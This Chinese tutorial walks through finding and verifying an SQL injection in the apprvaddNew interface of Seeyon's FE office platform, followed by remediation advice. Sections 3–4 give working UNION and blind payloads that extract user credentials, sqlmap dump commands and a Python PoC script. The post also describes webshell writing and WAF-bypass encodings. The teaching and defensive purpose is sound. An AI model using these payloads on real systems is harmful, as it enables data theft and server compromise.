致远FE平台apprvaddNew接口SQL注入漏洞挖掘与防御实践
1. 项目概述:一次典型的业务接口漏洞挖掘之旅
最近在梳理一些主流协同办公系统的安全性,致远互联的FE协作办公平台自然进入了视野。这类系统通常承载着企业核心的审批、流程和数据,一旦出现安全问题,影响面会非常广。在针对其移动端或前端业务接口进行测试时,我重点关注了那些处理动态数据、与数据库交互频繁的功能点。apprvaddNew这个接口,从命名上就非常值得玩味——“approve add new”,直译就是“审批新增”,这通常意味着它会处理新建审批流程或相关数据的提交。经验告诉我,这类“增删改”操作的后端逻辑,如果开发人员对用户输入过滤不严,很容易成为SQL注入的突破口。果不其,经过一番测试,在这个接口中发现了可利用的注入点。这不是一个复杂的高深漏洞,但它非常典型,清晰地展示了如何在看似正常的业务参数中埋下安全隐患。今天,我就把这个从漏洞发现到验证(POC编写)的完整过程拆解一遍,无论是安全研究人员进行学习复现,还是开发人员引以为戒,相信都能从中获得直观的收获。
2. 漏洞原理与背景环境搭建
2.1 SQL注入漏洞的核心原理再审视
在深入这个具体漏洞之前,我们有必要把SQL注入的原理掰开揉碎讲清楚,这能帮助我们理解后续每一个测试步骤的意图。所谓SQL注入,本质上就是“数据”被当成了“代码”来执行。应用程序为了完成某个功能(比如查询用户信息、新增一条记录),会拼接一条SQL语句发送给数据库。如果拼接的过程中,来自用户的可控输入没有被妥善地处理,攻击者就能精心构造输入,改变原有SQL语句的语义。
举个例子,一个正常的登录查询可能是这样的:SELECT * FROM users WHERE username = ‘用户输入的用户名’ AND password = ‘用户输入的密码’。如果用户在用户名字段输入admin’ --,拼接后的语句就变成了SELECT * FROM users WHERE username = ‘admin’ --’ AND password = ‘xxx’。在SQL中,--是注释符,这意味着后面的密码检查条件被注释掉了,攻击者就能以admin身份登录,而无需知道密码。
apprvaddNew接口的漏洞就属于这种类型。它可能接收来自前端(如APP、浏览器)提交的JSON或表单数据,其中包含审批流程相关的各种字段(如标题、内容、审批人ID等)。后端代码在构造INSERT或UPDATE语句时,直接将某些字段的值拼接进了SQL字符串,而没有使用参数化查询(Prepared Statement)或进行严格的转义过滤,从而留下了注入的可能性。
注意:很多开发人员会使用一些简单的字符串替换(如过滤单引号)来“防御”注入,这是远远不够的。攻击手法包括但不限于:编码绕过、注释符截断、利用数据库特性(如MySQL的
/*!内联注释)、布尔盲注、时间盲注等。最根本、最有效的防御方式就是始终使用参数化查询。
2.2 测试环境准备与目标分析
要复现漏洞,首先需要一个测试目标。由于涉及实际产品,强烈建议所有测试都在你自己搭建的、合法的测试环境或获得明确授权的靶场中进行。切勿对互联网上未经授权的系统进行测试,那是违法行为。
- 获取测试环境:你可以从官方渠道下载致远互联FE协作办公平台的试用版或旧版本(如果该漏洞存在于特定版本)。通常,这类系统需要部署在Tomcat、WebLogic等Java应用服务器上,并连接MySQL或Oracle数据库。详细部署步骤请参考官方文档。
- 环境配置要点:
- 数据库:安装MySQL,并记录下数据库的地址、端口、名称、用户名和密码。在部署FE平台时,这些信息需要正确配置。
- 应用服务器:以Tomcat为例,将平台的WAR包部署到webapps目录下,启动Tomcat服务。
- 访问系统:通过浏览器访问
http://你的服务器IP:端口/fe之类的地址,完成系统的初始化安装和配置。
- 定位目标接口:我们需要找到
apprvaddNew接口的访问路径和调用方式。通常有以下几种方法:- 前端代码分析:使用浏览器开发者工具(F12),在提交新建审批的页面进行抓包(Network标签页),观察提交的请求。请求的URL很可能就包含了接口路径,例如
/seeyon/apprv/addNew.do或/api/apprv/addNew等变体。 - 接口文档:如果能有幸获得开发或测试用的API文档,那将是最直接的途径。
- 目录扫描与猜测:使用工具如Burp Suite的Intruder模块、dirsearch等,对常见路径进行爆破猜测,但这效率较低。 通过抓包,我们假设确定了接口地址为:
http://target.com/seeyon/apprv/addNew.action,请求方式为POST,数据格式为application/x-www-form-urlencoded或application/json。
- 前端代码分析:使用浏览器开发者工具(F12),在提交新建审批的页面进行抓包(Network标签页),观察提交的请求。请求的URL很可能就包含了接口路径,例如
3. 漏洞探测与手工注入验证
确定了接口和调用方式,我们就可以开始手工探测注入点了。这个过程就像医生问诊,一步步试探系统的“反应”。
3.1 初步探测与注入点确认
首先,我们使用Burp Suite或类似的HTTP代理工具拦截正常的“新建审批”请求。假设拦截到的请求体如下:
title=测试审批&content=这是一条测试内容&approverId=123我们的目标是找出哪个参数可能存在注入。通常,数字型参数(如ID类)和字符串型参数(如标题、内容)都需要测试。
第一步:基础探测我们修改approverId参数,尝试添加SQL片段。将请求改为:
title=测试审批&content=这是一条测试内容&approverId=123'提交请求,观察响应。如果页面返回了数据库错误信息(如MySQL的“You have an error in your SQL syntax...”),或者页面显示与正常情况有明显差异(如空白、500错误),那么这里就可能存在注入点。如果没有任何变化,可以尝试在参数后添加and '1'='1和and '1'='2,观察页面返回内容是否不同。如果‘1’=‘1’返回正常,‘1’=‘2’返回异常(如无数据),则进一步确认了注入。
第二步:判断数据库类型通过错误信息有时可以直接判断(如包含“MySQL”、“Oracle”字样)。也可以通过特定数据库的函数来探测。例如,在注入点后添加:
and sleep(5)--(MySQL/PostgreSQL的延时函数,如果页面响应延迟约5秒,则可能是MySQL)WAITFOR DELAY '0:0:5'--(MSSQL的延时指令)- 或者使用
and (select count(*) from information_schema.tables)>0--这类查询,观察是否成功(information_schema是MySQL的特性)。
假设我们通过错误信息确认是MySQL数据库。
3.2 信息获取与联合查询利用
确认注入点并知道是MySQL后,我们可以尝试获取数据库信息。这里以联合查询(Union Select)为例,这是一种效率较高的注入方式,但前提是需要知道前后查询的列数相同。
第一步:判断列数使用order by子句。逐步增加数字,直到页面报错。
approverId=123 order by 1-- approverId=123 order by 2-- approverId=123 order by 3-- ...假设order by 5正常,order by 6报错,说明当前查询的列数是5列。
第二步:确定回显点联合查询需要知道我们查询的结果会在页面的哪个位置显示出来。构造Payload:
approverId=-123 union select 1,2,3,4,5--注意,这里将原查询条件改为一个负值或不存在的值(如-123),是为了让原查询不返回结果,从而页面直接显示我们union select的结果。观察页面,看数字“1”、“2”、“3”等出现在页面的什么位置(例如,标题处显示了2,内容处显示了3)。这些位置就是我们可以回显数据的地方。
第三步:获取数据库信息假设数字2和3的位置可以回显。我们可以构造Payload获取当前数据库名、用户等信息:
approverId=-123 union select 1,database(),user(),4,5--这样,页面回显位置就会显示当前数据库的名称和数据库用户。假设我们得到数据库名为fe_oa。
第四步:获取表名和列名利用MySQL的information_schema数据库,这是存储元数据的地方。
approverId=-123 union select 1,table_name,column_name,4,5 from information_schema.columns where table_schema=database() limit 0,1--通过修改limit子句的偏移量(如limit 1,1、limit 2,1),可以逐个爆出当前数据库中的所有表名和列名。你需要从中寻找敏感表,如sys_user(用户表)、apprv_flow(审批流程表)、hr_employee(员工信息表)等。
第五步:提取敏感数据假设我们找到了用户表sys_user,它包含login_name、real_name、password(可能是加密的)等字段。构造Payload提取数据:
approverId=-123 union select 1,login_name,password,4,5 from sys_user limit 0,1--这样,我们就成功通过注入获取到了系统的用户凭证(即使是加密的,也可能被破解或用于其他攻击)。
实操心得:在实际测试中,页面可能没有明显的数字回显点,这就是“盲注”的场景。你需要根据页面响应内容的变化、响应时间的长短(时间盲注)来一点点推断数据。这个过程非常耗时,通常需要借助自动化工具。
4. 自动化利用与POC编写
手工注入虽然能让我们透彻理解原理,但效率太低,尤其对于盲注。这时就需要编写或使用自动化脚本,也就是我们常说的POC(Proof of Concept)。
4.1 使用Sqlmap进行快速验证
Sqlmap是检测和利用SQL注入的顶级自动化工具。在已经手工确认存在注入点后,我们可以用Sqlmap来快速获取数据,验证漏洞的危害性。
假设我们已经通过Burp Suite将含有漏洞参数的请求保存到了文件request.txt中。在命令行中执行:
sqlmap -r request.txt --batch --dbs-r request.txt: 从文件中加载HTTP请求。--batch: 以非交互模式运行,自动选择默认选项。--dbs: 枚举数据库管理系统中的所有数据库。
如果漏洞存在,Sqlmap会很快列出所有数据库名。之后,你可以指定数据库进行进一步的枚举:
sqlmap -r request.txt --batch -D fe_oa --tables # 枚举fe_oa数据库的所有表 sqlmap -r request.txt --batch -D fe_oa -T sys_user --columns # 枚举sys_user表的所有列 sqlmap -r request.txt --batch -D fe_oa -T sys_user -C login_name,password --dump # 导出指定列的数据Sqlmap的强大之处在于它能自动识别注入类型、数据库类型,并采用最优的技术进行注入,大大提升了效率。
4.2 编写简易Python POC脚本
虽然Sqlmap功能强大,但有时我们需要一个更轻量、更定制化的脚本来验证漏洞,或者集成到自己的扫描器中。下面是一个针对该漏洞点的简易Python POC脚本框架,它基于布尔盲注的原理(假设页面内容在查询成功和失败时有可区分的差异)。
import requests import sys import time def check_vulnerability(target_url, param_name, param_value): """ 检测目标参数是否存在SQL注入漏洞(基于布尔盲注原理) """ headers = { 'User-Agent': 'Mozilla/5.0', 'Content-Type': 'application/x-www-form-urlencoded' } # 测试payload:如果条件为真,页面应包含特定文本(如“提交成功”) # 这里需要根据实际目标页面的成功/失败特征进行修改 true_payload = f"{param_name}={param_value}' AND '1'='1" false_payload = f"{param_name}={param_value}' AND '1'='2" data_true = {param_name: true_payload} data_false = {param_name: false_payload} try: resp_true = requests.post(target_url, data=data_true, headers=headers, timeout=10) resp_false = requests.post(target_url, data=data_false, headers=headers, timeout=10) # 关键:定义判断条件。例如,正常页面包含“success”,错误页面不包含或包含“error” # 你需要根据实际响应内容调整这里的判断逻辑 success_keyword = "提交成功" if success_keyword in resp_true.text and success_keyword not in resp_false.text: print(f"[+] 目标 {target_url} 的参数 '{param_name}' 可能存在SQL注入漏洞!") return True else: print(f"[-] 目标 {target_url} 的参数 '{param_name}' 可能不存在注入,或判断条件需调整。") print(f" 真条件响应长度: {len(resp_true.text)}, 假条件响应长度: {len(resp_false.text)}") # 建议打印部分响应内容以便分析 # print(resp_true.text[:200]) # print(resp_false.text[:200]) return False except Exception as e: print(f"[!] 请求过程中发生错误: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print("用法: python poc.py <目标URL> <参数名> <参数基础值>") print("示例: python poc.py http://target.com/apprv/addNew.action approverId 100") sys.exit(1) target = sys.argv[1] param = sys.argv[2] base_value = sys.argv[3] is_vuln = check_vulnerability(target, param, base_value) if is_vuln: # 可以在这里扩展,进行更深入的信息获取,如当前用户、数据库名等 print("[+] 漏洞验证成功,可进行进一步利用。") else: print("[-] 漏洞验证失败。")脚本使用与调整说明:
- 核心逻辑:脚本通过发送两个精心构造的请求(一个条件恒真,一个条件恒假),并比较两个响应的差异(如特定关键词是否存在、响应长度是否不同)来判断是否存在注入。
- 关键调整:
success_keyword变量至关重要。你必须先手动发送一个正常的成功请求和一个肯定会失败的请求(如参数值改为一个不存在的ID),观察并找出能稳定区分成功和失败页面的特征字符串或长度阈值。这个特征可能是“操作成功”、“提交成功”等文字,也可能是某个HTML标签、JSON字段的存在与否。 - 扩展性:这个脚本只是一个最基础的布尔盲注检测框架。你可以在此基础上扩展,实现自动化的数据提取功能,例如逐位爆破当前数据库名的每个字符。这需要更复杂的逻辑,通常涉及二分法或遍历比较。
注意事项:编写POC脚本一定要谨慎。务必在授权环境下测试,并且要控制请求频率,避免对目标系统造成拒绝服务(DoS)影响。脚本中的异常处理和超时设置也很重要。
5. 漏洞深度利用与防御思考
5.1 漏洞可能造成的实际影响
成功利用这个apprvaddNew接口的SQL注入漏洞,攻击者能做的远不止“拖个库”那么简单。结合协同办公系统的业务特性,其危害可能被逐级放大:
- 核心数据泄露:这是最直接的。可以获取所有用户账号(包括管理员)、加密密码、员工真实姓名、手机号、邮箱、部门等敏感个人信息。如果密码加密强度不足(如简单的MD5),可能被破解导致账号被接管。
- 权限提升与越权操作:通过修改数据库,攻击者可以将自己的账号权限提升为系统管理员,或者修改审批流程的配置,例如将自己添加为某个关键流程的审批人。
- 业务流程篡改:审批系统依赖于数据库中的流程定义、节点和规则。攻击者可以通过注入修改这些数据,从而绕过正常的审批环节,让不合规的申请自动通过,或者恶意卡住正常流程。
- 获取服务器权限(GetShell):如果数据库用户权限较高(如root或具有FILE_PRIV权限),并且应用服务器与数据库在同一机器上,攻击者可能利用SQL注入向服务器写入Webshell。例如,在MySQL中,可以尝试使用
SELECT ... INTO OUTFILE将一段PHP代码写入网站的可访问目录。一旦成功,攻击者就获得了服务器的控制权,危害等级急剧上升。 - 作为跳板,攻击内网:办公系统通常部署在内网,并可能与其他内部系统(如ERP、CRM)有连接或共享认证。攻破办公系统后,攻击者可能以此为跳板,进一步探测和攻击内网其他更核心的系统。
5.2 从开发与运维角度的根本性防御
复现漏洞不是为了攻击,而是为了更深刻地理解其成因并构建有效的防御。对于开发人员和运维人员,以下几点是必须牢记的黄金法则:
使用参数化查询(预编译语句):这是防御SQL注入的第一道、也是最坚固的防线。无论是使用Java的PreparedStatement、.NET的SqlParameter还是PHP的PDO,其原理都是将SQL语句的“结构”与“数据”分离。数据库先编译带占位符的SQL逻辑,再将用户输入的数据作为纯“参数”传入,从根本上杜绝了数据被解释为代码的可能。
- 错误示例(拼接):
String sql = “INSERT INTO apprv (title) VALUES (‘“ + userTitle + “‘)”; - 正确示例(参数化):
PreparedStatement stmt = conn.prepareStatement(“INSERT INTO apprv (title) VALUES (?)”); stmt.setString(1, userTitle);
- 错误示例(拼接):
实施最小权限原则:为Web应用连接数据库的账户分配最小必要的权限。通常,只授予其对应业务表(如
apprv_*,sys_user)的SELECT、INSERT、UPDATE、DELETE权限,坚决不要授予DROP、CREATE、FILE、GRANT等高级权限。这样即使发生注入,攻击者能造成的破坏也有限。严格的输入验证与过滤:在参数化查询的基础上,增加业务逻辑层的验证。例如,对于
approverId,验证其必须为数字;对于标题、内容,限制其长度和字符集(如只允许中英文、数字和常见标点)。使用白名单机制比黑名单(过滤单引号等)要可靠得多。安全的错误处理:切勿将详细的数据库错误信息直接返回给前端用户。应配置自定义的错误页面,在生产环境中记录详细的错误日志到后端文件或日志系统,而给用户只返回友好的、模糊的错误提示(如“系统繁忙,请稍后再试”)。这可以避免向攻击者泄露数据库类型、表结构等关键信息。
定期安全审计与漏洞扫描:将安全测试纳入开发流程(DevSecOps)。对代码进行定期的静态应用安全测试(SAST)和动态应用安全测试(DAST)。对于已上线的系统,使用专业的Web漏洞扫描器进行定期巡检,以及时发现类似
apprvaddNew这样的接口漏洞。框架与组件安全:使用成熟的、有良好安全记录的开发框架(如Spring Security、Shiro),并确保框架本身及其依赖的组件保持最新版本,及时修复已知的安全漏洞。
6. 复现过程中的常见问题与排查
在实际复现过程中,你可能会遇到各种问题。这里记录了几个我踩过的坑和对应的解决办法。
| 问题现象 | 可能原因 | 排查与解决思路 |
|---|---|---|
| 手工测试时,无论输入什么,页面都返回相同的错误或空白。 | 1. 注入点判断错误,参数本身不参与SQL拼接。 2. 后端有全局的输入过滤或WAF拦截。 3. 请求格式错误,如Content-Type不对。 | 1. 换其他参数尝试,或使用更隐蔽的测试Payload,如and 1=1和and 1=2观察细微差异。2. 尝试对Payload进行URL编码、双重URL编码、Unicode编码等绕过。 3. 使用Burp Repeater模块,仔细比对正常请求和你修改后的请求头、请求体格式是否完全一致。 |
| Sqlmap跑不出来注入点,但手工测试有反应。 | 1. Sqlmap的默认检测等级和风险等级不够。 2. 注入点是盲注,且页面差异特征不明显。 3. 存在Token、Cookie等动态防CSRF机制。 | 1. 尝试提高等级:--level=3 --risk=3。2. 使用 --technique=B指定使用布尔盲注技术,并配合--string或--not-string指定判断条件。3. 使用 --csrf-token或--csrf-url参数处理CSRF令牌。 |
| 联合查询(Union Select)时,页面没有显示我们select的数字。 | 1. 原查询结果集不为空,union的结果被挤到了后面。 2. 页面只显示了查询结果的第一行。 3. 数字被页面模板过滤或转换了。 | 1. 确保原查询条件使其返回空结果(如id=-999)。2. 尝试在union select的字段中使用更明显的内容,如 @@version、user()。3. 查看网页源代码,看数字是否出现在HTML注释或JS变量中。 |
| 时间盲注测试时,sleep函数没有生效。 | 1. 数据库用户权限不足,无法执行sleep函数。 2. 后端有查询超时限制,sleep被中断。 3. 目标不是MySQL,sleep语法不对。 | 1. 尝试其他数据库的延时函数,如MSSQL的WAITFOR DELAY。2. 减少sleep时间,如 sleep(2)。3. 使用基于布尔盲注的Payload进行验证。 |
| POC脚本运行时,无法正确判断真假条件。 | 1. 定义的“成功关键词”不准确或不存在。 2. 页面响应是动态的,每次都有细微差别。 3. 请求触发了风控,返回了验证码或拦截页面。 | 1. 手动多测试几次,用Burp对比响应,寻找更稳定的判断特征(如某个固定HTML元素的ID、某个JSON字段的值)。 2. 改用响应长度( len(resp.text))作为判断依据,设置一个合理的长度差阈值。3. 在脚本中添加请求头,模拟更真实的浏览器行为,并适当降低请求频率。 |
最后再分享一个小技巧:在测试这类业务系统时,不要只盯着明显的“id”、“name”参数。多关注那些看起来像“配置项”、“扩展字段”、“查询条件”的参数,它们往往由不同的开发人员编写,安全水平参差不齐,更容易成为突破口。每一次成功的漏洞复现,不仅是安全技能的提升,更是对“安全左移”和“安全编码”理念的一次深刻重温。对于开发者而言,理解攻击者的思路,是写出更健壮代码的最佳途径之一。
